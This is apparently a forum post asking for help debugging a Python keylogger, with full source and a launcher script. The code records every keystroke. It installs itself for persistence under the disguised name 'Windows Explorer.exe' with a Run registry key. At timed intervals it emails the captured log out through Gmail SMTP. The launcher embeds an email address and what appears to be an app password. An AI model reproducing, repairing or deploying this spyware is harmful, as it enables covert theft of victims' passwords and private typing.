Hello Sir, I’m having this Error when i run my keylogger persistent. Please can you check it and correct my mistakes as I am not able to get it to work, giving fetal error message
Here’s the Codes i used…. also screenshot attached…
#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib
import subprocess
import os
import sys
import shutil
class Keylogger:
def __init__(self, time_interval, email, password):
self.become_persistent()
self.log = “Keylogger started”
self.interval = time_interval
self.email = email
self.password = password
def become_persistent(self):
evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(“reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “” + evil_file_location + “” shell=True)
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
===================================
ZLogger Function Part Below
#!/usr/bin/env python
import keylogger
my_keylogger = keylogger.Keylogger(120, “[email protected]”, “npsalanlcdxlqbve”)
my_keylogger.start()
